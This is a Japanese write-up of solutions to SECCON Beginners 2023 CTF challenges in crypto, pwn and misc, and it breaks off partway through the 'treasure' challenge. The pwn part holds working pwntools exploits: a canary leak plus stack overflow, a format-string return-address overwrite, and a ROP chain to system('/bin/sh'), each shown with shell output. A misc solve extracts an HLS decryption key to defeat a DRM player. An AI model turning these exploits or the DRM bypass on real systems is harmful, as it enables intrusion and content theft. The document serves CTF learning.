23/28問解いて9位。
crypto
CoughingFox2 (beginner)
cipher = []
for i in range(len(flag)-1):
c = ((flag[i] + flag[i+1]) ** 2 + i)
cipher.append(c)
random.shuffle(cipher)
print(f"cipher = {cipher}")
隣り合う2文字を組み合わせて計算をしている。
フラグの先頭が ctf4b{
であることが分かっているので、そこから1文字ずつ総当たりしていけば良い。
cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
flag = [ord("c")]
for i in range(len(cipher)):
for c in range(256):
if (flag[i]+c)**2+i in cipher:
flag += [c]
print("".join(map(chr, flag)))
$ python3 solve.py
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}
Conquer (easy)
処理を逆算すれば良い。 length
の値が分からないが、 cipher
のビット長とだいたい同じだろうと何通りか試した。
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
from Crypto.Util.number import *
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
length = cipher.bit_length()+3
for i in range(32):
cipher ^= key
key = ROL(key, length-pow(cipher, 3, length))
flag = cipher ^ key
print(long_to_bytes(flag).decode())
Choice (medium)
これ面白かった。
素数が3個のRSA暗号。 $s=pq+qr+rp$ と、任意の $a > n$ について $p^a+q^a+r^a$ が得られる。
$\phi(n) = (p-1)(q-1)(r-1) = n-s+p+q+r-1$ なので、$p+q+r$ を手に入れたい。
指数部分は周期が $\phi(n)$ なので、 $a \equiv 1 \mod \phi(n)$ となる大きな $a$ を指定すれば $p+q+r$ が返ってくるが……。いや、 $p+q+r$ は $\phi(n)$ を求めるために必要で……。
色々と式をこねくり回していて、次の式が成り立つことに気が付いた。$pqr\equiv0 \mod n$ なので、計算途中に $pqr$ が出てきたら消える。
\left(p^{n+2}+q^{n+2}+r^{n+2}\right)(p+q+r) = p^{n+3}+q^{n+3}+r^{n+3}+(q+r)p^{n+2}+(r+p)q^{n+2}+(p+q)r^{n+2} \\
\left(p^{n+1}+q^{n+1}+r^{n+1}\right)(pq+qr+rp) = (q+r)p^{n+2}+(r+p)q^{n+2}+(p+q)r^{n+2}
ここから、 $p+q+r$ が得られる。
n = 18594550144547301333494330440727776321888361219176721067949296945328255249954628307014771206354387992788849094369885364310718228616250534865474996610051308966556663513723774648204138691124155758903715670449495386324341982424372348006314484048087221986823132438653329070617438308229162206886018749114388232554770882124576797234528168647721468061130240000009961736239289406130443086805586878797823927326251348506576180968621212384821330459417776031528751245144779238339037181035019403383704825809754775457158685619237158318168078973375749838072557762835300894929117815659839771328470141036945068417476122304376457803421537844804263578952666410904251530063550310671358146130161038676245076225153104653328579612568130178527397102201450325377763663195186232431356635649083119956424152442105158042604930244205655650846058478007779641925441638181268347095773707292578033077539161414302600982934164451130259061692713617965808525775706316991584688941677794868509981835117478617441665410620748661142428791580699137883153900909645948151807614712106654970231563776077145134141743451153674521494759420742831287853816783005018002982334781293226295634494939193866208956755695275599019914093070515911865097181250631279419933015363070006317691956094799311246182093778097496044243467400529695870747862884609047516877188834217674267413565462195834950315899190217647731281742246014695811019365437664168577053650189544051756367280332782926906642571915503305100402747283029037973541060616787881611915489676815297815488300693048486195522622840700659546607863989212042671317168336110056993734546348545229039485955806005503511573079093279143714008546998039690324458538616639264673123707871575906337313756795608368817932155368265068857021593264223477917381523546491114471418028659951483819379243259563026852723985354642576294216010525128965283026914124732795606749900735076833
e = 65537
c = 10342344907508164765757749919736793352421298410257707305337740282726570614361245233079594385172204228032038008591858829473590298640501612048679712881374460561447979225128106405099192546793981982904899317923409634997879975551981774052544506672989053390029245957379799097945980399159472017099743251162202689417924297496568358594561467023936207423370478335087967546820774935321601454985234148742581683153878329113809706037195132918847881648102665634946452769752004738678048613117527355401794136229705473310192028404361793214991751048535468030619280111134646927837387112430640912403183494723762710533123467822560454338674871509088078617215104155538321276306593153365689313507111715593208178750474531554078490621196839045999551808039533099200652245563619075253478968019566598334595510426814578251026928765863898664774174937080085258312573331457953954032167115597294784688185718000498198837840388823869869039770901112808401481842477934082132389734049421864722446630519821963832522757259715527389788819253085960619598701608415614363559776562905252352608574063449143712540440762622807964305913114301955104121946995740939383395500652249689345874020609138786867786314805547809787147762332634373065475892940322875352016448887691612736784481963472093559208443302511301148129686988612648036587744123151478358079878342235074480902690963990591450559650164661940324949539482132123667109842243030386135018643698795724632719766772255136235129735804849262376248978066582798887621824292957037633913779910202133655441441749570894499609343385415177847125861379981445766435166827219863591917023963573145138447219164203029541433395486348895940466848629638668409529745367441778934635514256250606203623457958839091652623581718481597181728520014497453438570461342930454656943186232641965098703860007216291599015775321140513837342980975049323871697499863284637432909825862229383
s = 2120634407522122525612964053723418142035008003255455641592096603456441760283345528336036431616648322472299059244408007538824000258439838164923407796210909174392749039689427657509527024321339368766677838230545546152048159591282948054638843277903718675625417096955477229483557817363652777867299775888794629564948319225630717435163745607264899467164669119381163336081234217611079146087415453718433920809714724927290349782340431924401594517556836279285779579582540079396131786945740751425128174277504540352669303736847346259677401249241222962966084053096514192634047880439503138321146600760173621421765552658327328684465349942072734704198471541667702290485272759550855086436727812318199946306573660114360541345535141316329963524548671128433222439611653145584650375144692530823811014234892066102319037508553519874861693312123282704274237023375383998670981458631283698478829787764623014405274064787856756691607537071194586111473847051717089009845180552903955935294535346554523933181032790185310551237189202850698277680542460128073462138788009846800208251823875295010557977414826644268230493594558427653290107215989409804313567576233643717506604654708332004251361738146594932146752494896835692533733480315459560645163269962949101443720683719
# r1 = p**(n+1) + q**(n+1) + r**(n+1)
r1 = 8475230529762897080111836076065747835257331542739985256572593922918200517221925341491692578345872947057152835146648546272533297116330954781383955759743167094986491303960134870957838587029650967353736628031353712447169998904631571155528107845746576692776861676607246188695963735075620030628069982529292983078892465308734363502130860392552082717212358972460723068856174699425148900852531128999613198509327693826281888634380982628898036282207317399545198805127148966285851039068443585665016093780012936211627166330253232074986726278826817793736583461332661429329888250431152302702120038593540159830899895380388149038762984802170759457266725911575535379328645548425049955481387918832396895743394162957623868295463513091118209733525713167695831535419398602373477572523878382630639812511199334270968641549114462199989206634180283315715699252356298941129490444760118374059042458971186594491611496476884675932861735800156132316171310776974107040460677984291949438352324165007948102877401302588208644370409882638354961737945163828244384468190031155982101025035298397498687914960133516448589373547780369924928156672783603093182392196740380878421891750449462132369627033029018320264200720263811775330145972090737994832602716179829141591972172344383445489143735356107799734805689910575889807149274681388183634448649466525513522351953281863113085271960152504266086449374610004135173540206524824359594426302590428508550262712574394016537941242003833697158307779294101334245444902568957285382692235546007510443922427548905721149886816081551410019446651961727506098871641536588459538909815865481311340214319885194889073734479712245897105783138627714629780417219971985351962940001687112372661134659104319646740886095489431533116971527474165954215608445962872060101006714465369499476798345884395131489536123107658011581670348471427313132001113451673985818587004304609
# r2 = p**(n+2) + q**(n+2) + r**(n+2)
r2 = 10543425029998132962181500239493477861434578008345153350076833599680238184134128502365629893017040533525777456862353943669497449965084013148167504381540855246240916973944529792826775815219705558931360087355735197764498370877908813276650067243560783170100985032612066805786953951208642312755193876191561681736022170157502785810011066568062259816140273925882721530770934660349547754468301482859330295537400797044228214431306185273230114164504117809623842785562905293483747226759634631046858910537736277692829302358325694636755495593467765357277994806806954900548425500983636169370397165815620807979938938436946191224814114625956294640356878027243641122075872592164275606307281570243093818251295379378426901642313076870540070792970205048387020545394398980694295743299016565837262055580203045998183944535034630718565935072832468965371994049537621095149404747388004718635460955835870138335805009138523211692986251994345499218161809507840485173571934933629260253315541403121466257691295916643281963927610148975027283054797279105512202801655858859508459492105349733390939524018010999268733889268671921118513901587904832702198450370539909070313024854940912125557826279196717929032054776798565825576056585792610159269169391389321365630285828349232513094326846736397706499620861417381690014318845799995647881167399603222175399914960948931556288257936225509799362791821095120383864607774422289019511811524098135411756721865164940159897796828119973521339313211641524307992390265301932872552871536422229261592414235729117424432211618129194657690061438493413463616775559354809573530679422684761923320597829693720614054427406676323665515988773387518144500557685713365051219609284360039980520489127571885668983615066083949961109942541483497374543413485758053303489011738166913583093421042667529143940374683492397875497703924259048139817563467332521743750980925106284
# r2 = p**(n+3) + q**(n+3) + r**(n+3)
r3 = 17263368669868749324631629945924347623452814484804302695429615347766269208862055297251399481097496792607151512106384491115241941375832475148707656805179243577507970470652709184322446635844049937991230875434035141953016706954228802899847598405025212267094783507558745889061000602591061766582039802059434295608552192068042663673562397201985948268771296604897029607599970689036605039319115148528468359269388337219168500817459741027589115043253888471423952720076508385933588034898911577107384535441193568468476975351858154045765051345142381213353006683333295463304178723362769210233546893363988082100423460763855727080604248831902904297897542025435948803206754953154500392986392412973550838111807278326817414863490354597800755348007337443942619195803813395558390996349460984837021559339130392386082430838890197823199906463316762475156291666396031434899152482396673523764845223537047318671493919007934112940175533401725440299557820435604420081803515371790890441032862974529733509700179668080253801470645869201682627121511054508901598322990557971956103642490695583017813326577872987591430557112912489765434609265022192018172908195507022860251884541930215759195624016558527280848165519643677329693845129594537062386008112662703622092333746546420077428433176510538990842933428604316798106327801988971335921456282268180599571651175054200763367906616535895913387522973634858641925315521847464788108792508191115661325958738583768416457819280466154461428023951937851388587990733129452457848684788025460620190795543640320890017452640015752678886643019251839144875505059385749623568573418763579233817052968087418241049258695510976736239291218195078969448908213646145897424552026715957589546814605389799595482038262986011682626413957838958384755088390444975643847329537966565065429785844482073955764737030619944419743134943434856457455894840818686198670489448321435
# x = (p**(n+1) + q**(n+1) + r**(n+1)) * (p*q + q*r + r*p)
# = (q+r)*p**(n+2) + (r+p)*q**(n+2) + (p+q)*r**(n+2)
x = r1*s%n
# y = p**(n+3) + q**(n+3) + r**(n+3) + (q+r)*p**(n+2) + (r+p)*q**(n+2) + (p+q)*r**(n+2)
# = (p**(n+2) + q**(n+2) + r**(n+2)) * (p + q + r)
y = (r3+x)%n
# z = p + q + r
z = y*pow(r2, -1, n)%n
p = n-s+z-1
d = pow(e, -1, p)
f = pow(c, d, n)
from Crypto.Util.number import *
print(long_to_bytes(f).decode())
$ python3 solve.py
ctf4b{E4sy_s7mmetr1c_polyn0mial}
ctf4b{E4sy_s7mmetr1c_polyn0mial}
switchable_cat (medium)
:
class LFSR:
:
lfsr = LFSR()
neko = urandom(ord("🐈")*ord("🐈")*ord("🐈"))
key = lfsr.gen_randbits(len(neko) * 8)
cipher = bytes_to_long(neko) ^ key
# 📄🐈💨💨💨💨
# ╭─^────────╮
# │ cipher │
# ╰──────────╯
key = lfsr.gen_randbits(len(flag) * 8)
cipher = bytes_to_long(flag) ^ key
print("seed =", seed)
print("cipher =", cipher)
seed
が分かっているのだから、 flag
を暗号化するときの key
の値も分かるよね? 動かしてみるか → ord("🐈")*ord("🐈")*ord("🐈")
の値が大きすぎて、メモリ不足のエラーで落ちた。
環境によって値が変わったりするのか……? と悩んだ。作問者も実際に動かしてはおらず、莫大なメモリがあるマシンで長時間動かしたと仮定して出力を与えるから復号しろという問題か。 ord("🐈")*ord("🐈")*ord("🐈")*8=16780361924612096
世代後の線形帰還シフトレジスタ(LFSR)の状態が求められれば良い。
線形帰還シフトレジスタの状態がどのように変化するかは行列で表現できる。行列の累乗はバイナリ法で高速化できる。競技プログラミングで良く見るやつ。この問題は1回ごとに状態の変化方法が切り替わるが、特に支障は無い。
def mul_m(M1, M2):
R = [[0]*128 for _ in range(128)]
for y in range(128):
for x in range(128):
for i in range(128):
R[y][x] ^= M1[y][i]&M2[i][x]
return R
def mul_v(M, V):
R = [0]*128
for y in range(128):
for x in range(128):
R[y] ^= M[y][x]&V[x]
return R
def pow_m(M, n):
R = [[0]*128 for _ in range(128)]
for i in range(128):
R[i][i] = 1
while n>0:
if n%2!=0:
R = mul_m(R, M)
M = mul_m(M, M)
n //= 2
return R
M1 = [[0]*128 for _ in range(128)]
for i in range(127):
M1[i][i+1] = 1
for i in [0, 2, 4, 6, 9]:
M1[127][i] = 1
M2 = [[0]*128 for _ in range(128)]
for i in range(127):
M2[i][i+1] = 1
for i in [1, 5, 7, 8]:
M2[127][i] = 1
n = ord("🐈")*ord("🐈")*ord("🐈")*8
M = pow_m(mul_m(M2, M1), n//2)
seed = 219857298424504813337494024829602082766
S = [seed>>i&1 for i in range(128)]
S = mul_v(M, S)
seed = sum(S[i]<<i for i in range(128))
class LFSR:
def __init__(self):
self.bits = 128
self.rr = seed
self.switch = 0
def next(self):
r = self.rr
if self.switch == 0:
b = ((r >> 0) & 1) ^ \
((r >> 2) & 1) ^ \
((r >> 4) & 1) ^ \
((r >> 6) & 1) ^ \
((r >> 9) & 1)
if self.switch == 1:
b = ((r >> 1) & 1) ^ \
((r >> 5) & 1) ^ \
((r >> 7) & 1) ^ \
((r >> 8) & 1)
r = (r >> 1) + (b << (self.bits - 1))
self.rr = r
self.switch = 1 - self.switch
return r & 1
def gen_randbits(self, bits):
key = 0
for i in range(bits):
key <<= 1
key += self.next()
return key
from Crypto.Util.number import *
cipher = 38366804914662571886103192955255674055487701488717997084670307464411166461113108822142059
lfsr = LFSR()
key = lfsr.gen_randbits((cipher.bit_length()+7)//8*8)
flag = cipher^key
print(long_to_bytes(flag).decode())
$ python3 solve.py
ctf4b{DidTheCatWantToCatDevRandom???}
ctf4b{DidTheCatWantToCatDevRandom???}
pwnable
poem (beginner)
#include <stdio.h>
#include <unistd.h>
char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
"In the depths of silence, the universe speaks.",
"Raindrops dance on windows, nature's lullaby.",
"Time weaves stories with the threads of existence.",
"Hearts entwined, two souls become one symphony.",
"A single candle's glow can conquer the darkest room.",
};
int main() {
int n;
printf("Number[0-4]: ");
scanf("%d", &n);
if (n < 5) {
printf("%s\n", poem[n]);
}
return 0;
}
:
負値のチェックが抜けている。適当に試したら-4が正解だった。
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
rewriter2 (easy)
:
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
:
Canaryあり。 __show_stack
はcanaryの値は表示されない。
入力が0終端されていないので、canaryの最初のNUL文字を潰せば、 "Hello, ..."
でcanaryが出力される。Canaryの最初が 00
なのは、バッファオーバーフローが無くてNUL終端がされていない場合に、canaryのリークを防ぐためなのだろう。
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
s = remote("rewriter2.beginners.seccon.games", 9001)
s.sendafter(b"What's your name? ", b"a"*0x29)
s.recvuntil(b"a"*0x29)
canary = s.recv(7)
s.sendafter(b"How old are you? ",
b"a"*0x28 +
b"\0" + canary +
pack(0) +
pack(0x4012c2+5)
)
s.interactive()
$ python3 attack.py
[+] Opening connection to rewriter2.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Thank you!
[Addr] | [Value]
====================+===================
0x00007ffe27eb7ff0 | 0x6161616161616161 <- buf
0x00007ffe27eb7ff8 | 0x6161616161616161
0x00007ffe27eb8000 | 0x6161616161616161
0x00007ffe27eb8008 | 0x6161616161616161
0x00007ffe27eb8010 | 0x6161616161616161
0x00007ffe27eb8018 | xxxxx hidden xxxxx <- canary
0x00007ffe27eb8020 | 0x0000000000000000 <- saved rbp
0x00007ffe27eb8028 | 0x00000000004012c7 <- saved ret addr
0x00007ffe27eb8030 | 0x00007fa70c501620
0x00007ffe27eb8038 | 0x00007ffe27eb8118
Congratulations!
$ ls -al
total 44
drwxr-xr-x 1 root pwn 4096 Jun 2 03:45 .
drwxr-xr-x 1 root root 4096 Jun 2 03:45 ..
-r-xr-x--- 1 root pwn 16944 Jun 2 03:40 chall
-r--r----- 1 root pwn 33 Jun 2 03:39 flag.txt
-r-xr-x--- 1 root pwn 34 Jun 2 03:40 redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
$
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
Forgot_Some_Exploit (easy)
:
void win() {
FILE *f = fopen("flag.txt", "r");
if (!f)
err(1, "Flag file not found...\n");
for (char c = fgetc(f); c != EOF; c = fgetc(f))
putchar(c);
}
void echo() {
char buf[BUFSIZE];
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
buf[read(0, buf, BUFSIZE-1)] = 0;
printf(buf);
}
:
書式文字列攻撃。1回目でスタックの値をリークする。2回目で、リターンアドレスのアドレスを入力に含め、そこを指すような %x$n
でリターンアドレスを win
に書き換える。
バイナリのアドレスもリークすれば win
のアドレスが分かるけど、書式文字列攻撃で何バイトも書き換えるのは面倒だし、下位2バイトだけ書き換えてASLRによる残り4ビットは複数回攻撃すれば良いだろう。 win
がシェルの起動ではなくフラグの出力なのは、複数回の攻撃がやりやすいようにという配慮なのかもしれない。
$ readelf -s ./chall | grep win
39: 00000000000011c9 122 FUNC GLOBAL DEFAULT 15 win
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
s = remote("forgot-some-exploit.beginners.seccon.games", 9002)
#s = remote("192.168.0.9", 8888)
s.send(b"%40$llx\n")
stack = int(s.recvline().decode(), 16)
s.send(
b"%458c%8$hn !!!!".ljust(16, b"\0") +
pack(stack-8)
)
s.recvuntil(b"!!!!")
print(s.recv())
$ for i in $(seq 32); do python3 attack.py; done
[+] Opening connection to forgot-some-exploit.beginners.seccon.games on port 9002: Done
b'Segmentation fault\n'
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
:
[+] Opening connection to forgot-some-exploit.beginners.seccon.games on port 9002: Done
b'ctf4b{4ny_w4y_y0u_w4nt_1t}\n'
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
:
ctf4b{4ny_w4y_y0u_w4nt_1t}
Elementary_ROP (medium)
スタックやレジスタの状態を想像しながらやってみよう
:
void gadget() {
asm("pop %rdi; ret");
}
int main() {
char buf[0x20];
printf("content: ");
gets(buf);
return 0;
}
:
特にひねりはないので、やるだけ。1回目は printf(printf); main()
を実行し、2回目はリークしたlibcのアドレスを使って system("/bin/sh")
を実行する。Pwntoolsの ROP
を使うと楽。スタックのアドレスが16バイトに揃っていないと落ちることがあるので、空の ret
を挟んで調整。
from pwn import *
# context.log_level = "debug"
s = remote("elementary-rop.beginners.seccon.games", 9003)
binary = ELF("chall")
context.binary = binary
ret = 0x401192
rop = ROP(binary)
rop.raw(ret)
rop.printf(binary.got.printf)
rop.raw(ret)
rop.main()
print(rop.dump())
s.sendlineafter(b"content: ", b"x"*0x28+rop.chain())
printf = unpack(s.recv(6).ljust(8, b"\0"))
libc = ELF("libc.so.6")
libc.address = printf - libc.symbols.printf
rop = ROP(libc)
rop.raw(ret)
rop.system(next(libc.search(b"/bin/sh")))
print(rop.dump())
s.sendlineafter(b"content: ", b"x"*0x28+rop.chain())
s.interactive()
$ python3 attack.py
[+] Opening connection to elementary-rop.beginners.seccon.games on port 9003: Done
[*] '/mnt/d/documents/ctf/secconbeginners2023/Elementary_ROP/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 6 cached gadgets for 'chall'
0x0000: 0x401192
0x0008: 0x40115a pop rdi; ret
0x0010: 0x403fd0 [arg0] rdi = got.printf
0x0018: 0x401030 printf
0x0020: 0x401192
0x0028: 0x40115f main()
[*] '/mnt/d/documents/ctf/secconbeginners2023/Elementary_ROP/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 218 cached gadgets for 'libc.so.6'
0x0000: 0x401192
0x0008: 0x7f95c17863e5 pop rdi; ret
0x0010: 0x7f95c1934698 [arg0] rdi = 140281174509208
0x0018: 0x7f95c17acd60 system
[*] Switching to interactive mode
$ ls -al
total 40
drwxr-xr-x 1 root pwn 4096 Jun 2 03:33 .
drwxr-xr-x 1 root root 4096 Jun 2 03:33 ..
-r-xr-x--- 1 root pwn 15984 Jun 2 03:28 chall
-r--r----- 1 root pwn 42 Jun 2 03:26 flag.txt
-r-xr-x--- 1 root pwn 34 Jun 2 03:27 redir.sh
$ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
$
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
misc
YARO (beginner)
YARAのルールを入力できて、カレントディレクトリに対してスキャンをするプログラム。カレントディレクトリにはフラグがあるので、1文字ずつ総当たりすれば良い。
Discordで作問者が「複数ルールが書けるのだから、1回の試行で1文字特定できるよ」と言っていた。なるほどね。
from pwn import *
context.log_level = "error"
flag = "ctf4b{"
while True:
for c in "01234567890ABCDEFGHIJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_}":
s = remote("yaro.beginners.seccon.games", 5003)
s.sendlineafter(
b"rule:\n",
f"""rule flag {{
strings:
$flag = /^{flag+c}/
condition:
$flag
}}
""".encode())
if "matched" in s.recvall().decode():
flag += c
break
print(flag)
if flag[-1]=="}":
break
$ python3 solve.py
ctf4b{Y
ctf4b{Y3
ctf4b{Y3t
:
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
polyglot4b (beginner)
:
try:
f_type = subprocess.run(
["file", "-bkr", f"tmp/{f_id}/{f_id}"], capture_output=True
).stdout.decode()
except:
print("ERROR: Failed to execute command.")
finally:
shutil.rmtree(f"tmp/{f_id}")
types = {"JPG": False, "PNG": False, "GIF": False, "TXT": False}
if "JPEG" in f_type:
types["JPG"] = True
if "PNG" in f_type:
types["PNG"] = True
if "GIF" in f_type:
types["GIF"] = True
if "ASCII" in f_type:
types["TXT"] = True
for k, v in types.items():
v = "🟩" if v else "🟥"
print(f"| {k}: {v} ", end="")
print("|")
if all(types.values()):
print("FLAG: ctf4b{****REDACTED****}")
else:
print("FLAG: No! File mashimashi!!")
file
コマンドは -k
オプションで複数の候補を複数出力してくれるらしい。へー。これで、Jpeg、PNG、GIF、Textと解釈されるようなファイルを作れという問題。
サンプルファイルを読み込ませるとこうなる。
$ file -bkr sample/sushi.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data
description=CTF4B
ここにキーワードを書けば良いな。Photoshopで編集できた。
$ file -bkr sushi.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=15, height=790, bps=0, PhotometricIntepretation=RGB, description=JPEG PNG GIF ASCII, orientation=upper-left, width=1404], baseline, precision 8, 1404x790, components 3
- data
$ cat sushi.jpg - | nc polyglot4b.beginners.seccon.games 31416
____ _ _ _ _____ _ _ _
| _ \ ___ | |_ _ __ _| | ___ | |_ | ____|__| (_) |_ ___ _ __
| |_) / _ \| | | | |/ _` | |/ _ \| __| | _| / _` | | __/ _ \| '__|
| __/ (_) | | |_| | (_| | | (_) | |_ | |__| (_| | | || (_) | |
|_| \___/|_|\__, |\__, |_|\___/ \__| |_____\__,_|_|\__\___/|_|
|___/ |___/
--------------------------------------------------------------------
>> --------------------------------------------------------------------
| JPG: 🟩 | PNG: 🟩 | GIF: 🟩 | TXT: 🟩 |
FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}
FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}
shaXXX (easy)
フラグのSHA256, 384, 512ハッシュを出力するプログラム。
import os
import sys
import shutil
import hashlib
from flag import flag
def initialization():
if os.path.exists("./flags"):
shutil.rmtree("./flags")
os.mkdir("./flags")
def write_hash(hash, bit):
with open(f"./flags/sha{bit}.txt", "w") as f:
f.write(hash)
sha256 = hashlib.sha256(flag).hexdigest()
write_hash(sha256, "256")
sha384 = hashlib.sha384(flag).hexdigest()
write_hash(sha384, "384")
sha512 = hashlib.sha512(flag).hexdigest()
write_hash(sha512, "512")
def get_full_path(file_path: str):
full_path = os.path.join(os.getcwd(), file_path)
return os.path.normpath(full_path)
def check1(file_path: str):
program_root = os.getcwd()
dirty_path = get_full_path(file_path)
return dirty_path.startswith(program_root)
def check2(file_path: str):
if os.path.basename(file_path) == "flag.py":
return False
return True
if __name__ == "__main__":
initialization()
print(sys.version)
file_path = input("Input your salt file name(default=./flags/sha256.txt):")
if file_path == "":
file_path = "./flags/sha256.txt"
if not check1(file_path) or not check2(file_path):
print("No Hack!!! Your file path is not allowed.")
exit()
try:
with open(file_path, "rb") as f:
hash = f.read()
print(f"{hash=}")
except:
print("No Hack!!!")
ディレクトリトラバーサルはできず、flag.py は読めない。
__pycache__
。 ここにコンパイルされたflag.pyが入っている。
$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'
ctf4b{c4ch3_15_0ur_fr13nd!}
drmsaw (medium)
DRMSAW Movie Playerは著作権を重視したセキュアな動画再生プラットフォームです。もしあなたが動画をダウンロードできたら、フラグと交換しましょう。
HLSの動画を再生している。
HLSはこのようになっている。
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-KEY:METHOD=AES-128,URI="video://hello_where_is_my_key?",IV=0x00000000000000000000000000000000
#EXTINF:3.000000,
video0.ts
#EXTINF:3.000000,
video1.ts
#EXTINF:0.977622,
video2.ts
#EXT-X-ENDLIST
M3U8って元はプレイリストを作るためのフォーマットだが、動画やライブの配信用に広く使われている。
動画はファイルを細切れにする必要があるし、ライブはM3U8ファイルを高頻度で書き換えるし、なぜプレイリスト用のフォーマットが配信のデファクトスタンダードになっているのか……。回線状況に応じて複数のビットレートを切り替える仕組みを実装したプレイヤーがあったのが良かったのかなぁ。
HLSには動画ファイルを暗号化する仕様がある。 #EXT-X-KEY
に書かれたURLから取得できる鍵で各動画ファイルを復号する。これに何の意味があるのかと思うかもしれないが、CDNなど組み合わせたときに役に立つのだろう。暗号化した動画ファイルを認証が無いCDNで配布し、 #EXT-X-KEY
に指定するURLを自前のサーバーにして、そこで認証を掛けるということができる。
この問題では、鍵を取得するところをWASMで難読化している。
まあ、 hls.js が再生できているのだから、hls.jsは鍵を知っているだろう。
:
if (typeof Hls !== "undefined" && Hls.isSupported()) {
const hls = new Hls({ loader: CustomLoader });
const streamUrl = "/public/videos/video.m3u8";
hls.loadSource(streamUrl);
hls.on(Hls.Events.MANIFEST_PARSED, () => {
hls.attachMedia(video);
video.addEventListener("canplay", () => {
console.info("The video can play!");
});
});
:
この console.info("The video can play!");
部分にブレークポイントを設定して探したら、 hls.streamController.keyLoader.keyUriToKeyInfo["https://drmsaw.beginners.seccon.games/enc.key"].decryptdata.key
に鍵が入っていた。
Uint8Array(16) [99, 9, 61, 110, 94, 114, 119, 194, 42, 163, 63, 8, 97, 114, 131, 41, buffer: ArrayBuffer(16), byteLength: 16, byteOffset: 0, length: 16, Symbol(Symbol.toStringTag): 'Uint8Array']
この鍵をenc2.keyとして保存。m3u8と各動画ファイルをダウンロードして、m3u8を次のように書き換える。
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-KEY:METHOD=AES-128,URI="enc2.key",IV=0x00000000000000000000000000000000
#EXTINF:3.000000,
video0.ts
#EXTINF:3.000000,
video1.ts
#EXTINF:0.977622,
video2.ts
#EXT-X-ENDLIST
後はFFmpegで変換すれば動画が手に入る。
$ ffmpeg -allowed_extensions ALL -i video2.m3u8 -codec copy video.mp4
サーバー側では動画のいくつかのフレームが完全に一致していることを確認しているので、 -codec copy
で再エンコード無しで変換する必要がある。同じ理由で画面を録画したりしても通らない。
ctf4b{d1ff1cul7_70_3n5ur3_53cur17y_1n_cl13n7-51d3-4pp5}
treasure (hard)
import os
import random
import timeout_decorator
def open_as(path: str, fd: int):
old_fd = os.open(path, os.O_RDONLY)
os.dup2(old_fd, fd)
os.close(old_fd)
@timeout_decorator.timeout(60)
def main():
# ask the path to open
path = input('path: ')
if not path.startswith('/proc'):
exit('[-] path not allowed')
elif 'flag' in path or '.' in path:
exit('[-] path not allowed')
elif not os.path.exists(path):
exit('[-] file not found')
elif not os.path.isfile(path):
exit('[-] not a file')
# open 'flag' with a random fd
fd = random.randint(16, pow(2, 16))
open_as('flag', fd)
